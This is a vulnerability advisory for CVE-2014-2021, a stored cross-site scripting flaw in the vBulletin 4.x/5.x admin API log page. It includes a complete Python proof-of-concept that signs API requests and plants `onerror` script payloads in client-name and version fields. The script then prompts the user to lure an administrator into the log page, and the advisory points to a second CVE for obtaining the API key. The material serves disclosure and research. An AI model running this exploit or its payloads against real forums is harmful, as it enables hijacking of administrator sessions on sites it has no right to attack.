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CVE-2014-2021 - vBulletin 5.x/4.x - persistent XSS in AdminCP/ApiLog via xmlrpc API

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CVE-2014-2021 - vBulletin 5.x/4.x - persistent XSS in AdminCP/ApiLog via xmlrpc API (post-auth)

Overview

date : 10/12/2014

cvss : 4.6 (AV:N/AC:H/Au:S/C:P/I:P/A:P) base

cwe : 79

vendor : vBulletin Solutions

product : vBulletin 4

versions affected : latest 4.x and 5.x (to date); verified <= 4.2.2 ; <= 5.0.x

* vBulletin 5.0.5 (verified)

* vBulletin 4.2.2 (verified)

* vBulletin 4.2.1 (verified)

* vBulletin 4.2.0 PL2 (verified)

exploitability :

* remotely exploitable

* requires authentication (apikey)

* requires non-default features to be enabled (API interface, API-Logging)

* requires user interaction to trigger exploit (admincp - admin views logs)

patch availability (to date) : None

Abstract

vBulletin 4/5 does not properly sanitize client provided xmlrpc attributes (e.g. client name)

allowing the remote xmlrpc client to inject code into the xmlrpc API logging page.

Code is executed once an admin visits the API log page and clicks on the API clients name.

risk: rather low - due to the fact that you the api key is required

you can probably use CVE-2014-2023 to obtain the api key

Details

vulnerable component:

./admincp/apilog.php?do=viewclient

apilog.php does not sanitize xmlrpc client provided data before passing it to

print_label_row to generate the output page.

Proof of Concept (PoC)

see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021

1) prerequesites

1.1) enable API, generate API-key

logon to AdminCP

goto "vBulletin API"->"API-Key" and enable the API interface, generate key

goto "vBulletin API"->"API-Log" and enable all API logging

2) run PoC

edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)

run PoC, wait for SUCCESS! message

3) trigger exploit

logon to AdminCP

goto "vBulletin API"->"API-Log" and hit "view"

in search results click on "client name"

the injected msgbox pops up

Timeline

2014-01-14: initial vendor contact - no reply

2014-01-24: vendor contact - no reply

2014-10-13: public disclosure

Contact

tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021

(0x721427D8)

#!/usr/bin/env python

# -*- coding: utf-8 -*-

'''

@author: tintinweb 0x721427D8

'''

import urllib2, cookielib, urllib, json, hashlib

class Exploit(object):

baseurl = None

cookies = None

def __init__(self,baseurl,params, debuglevel=1):

self.cookies = cookielib.LWPCookieJar()

handlers = [

urllib2.HTTPHandler(debuglevel=debuglevel),

urllib2.HTTPSHandler(debuglevel=debuglevel),

urllib2.HTTPCookieProcessor(self.cookies)

]

self.browser = urllib2.build_opener(*handlers)

self.baseurl=baseurl

self.params = params

def call(self,path="",data={}):

assert(isinstance(data,dict))

data = urllib.urlencode(data)

req = urllib2.Request("%s%s"%(self.baseurl,path),data)

req.add_header("Content-Type", "application/x-www-form-urlencoded")

return self.browser.open(req)

def call_json(self,path=None,data={}):

try:

x=self.call(path,data).read()

print "raw_response", x

resp = json.loads(x)

except urllib2.HTTPError, he:

resp = he.read()

return resp

def vb_init_api(self):

params = {'api_m':'api_init'}

params.update(self.params)

data = self.call_json("?%s"%(urllib.urlencode(params)))

self.session = data

return data

def vb_call(self, params):

api_sig = self._vb_build_api_sig(params)

req_params = self._vb_build_regstring(api_sig)

params.update(req_params)

data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)

if not isinstance(data, dict):

return data

if 'errormessage' in data['response'].keys():

raise Exception(data)

return data

def _ksort(self, d):

ret = []

for key, value in [(k,d[k]) for k in sorted(d.keys())]:

ret.append( "%s=%s"%(key,value))

return "&".join(ret)

def _ksort_urlencode(self, d):

ret = []

for key, value in [(k,d[k]) for k in sorted(d.keys())]:

ret.append( urllib.urlencode({key:value}))

return "&".join(ret)

def _vb_build_api_sig(self, params):

apikey = self.params['apikey']

login_string = self._ksort_urlencode(params)

access_token = str(self.session['apiaccesstoken'])

client_id = str(self.session['apiclientid'])

secret = str(self.session['secret'])

return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()

def _vb_build_regstring(self, api_sig):

params = {

'api_c':self.session['apiclientid'],

'api_s':self.session['apiaccesstoken'],

'api_sig':api_sig,

'api_v':self.session['apiversion'],

}

return params

if __name__=="__main__":

TARGET = "http://localhost:8008/sectest/vbulletin_5/api.php"

APIKEY = "G4YvWVhp"

DEBUGLEVEL = 0 # 1 to enable request tracking

print "vBulletin 5.x / 4.x - XSS in API"

### 1. XSS

'''

vbulletin: admincp => settings: options => vbulletin API and Mobile Application Options

* enable vbulletin API = yes

* enable API log = yes

xss in:

1) http://xxxx/vb/admincp/apistats.php?do=client

2) click on hex<video><source/**/onerror='alert(1)'>hex

2.1) e.g. http://xxxx/vb/admincp/apilog.php?do=viewclient&apiclientid=1

'''

params = {'clientname':"hex<video><source/**/onerror='alert(/clientname_1/)'>hex1",

'clientversion':"hex<video><source/**/onerror='alert(2)'>hex2",

'platformname':"hex<video><source/**/onerror='alert(3)'>hex3",

'platformversion':"hex<video><source/**/onerror='alert(4)'>hex4",

'uniqueid':"hex<video><source/**/onerror='alert(5)'>hex5",

'apikey':APIKEY}

print "[ 1 ] - xss - inject alert() to admincp"

x = Exploit(baseurl=TARGET,params=params,debuglevel=DEBUGLEVEL)

vars = x.vb_init_api()

print vars

"""

$calls = array(

'methods' => array(

'login_login', 'api_init'

),

'login_login' => array(

'POST' => array(

'vb_login_username' => 'admin',

'vb_login_password' => 'password',

),

),

'api_init' => array(

'sessionhash' => '{session.dbsessionhash}'

)

);

"""

print "

[*] GOT SESSIONHASH:",vars.get('sessionhash','<no-sessiohash>')

'''

calls = {'methods':['api_init'],

'api_init':{

'sessionhash':vars['sessionhash']

}}

'''

# just a dummy call

x.vb_call(params={'api_m':'api_forumlist',

'type':'t',

'x':"1"})

print "[ *] SUCCESS! - now make an admin visit %s/admincp/apilog.php?do=viewclient&apiclientid=%s to trigger the XSS :)"%("/".join(TARGET.split("/")[:-1]),vars['apiclientid'])

print "-- quit --"

Sursa: https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021

Exploit: https://github.com/tintinweb/pub/blob/master/pocs/cve-2014-2021/poc_cve-2014-2021.py

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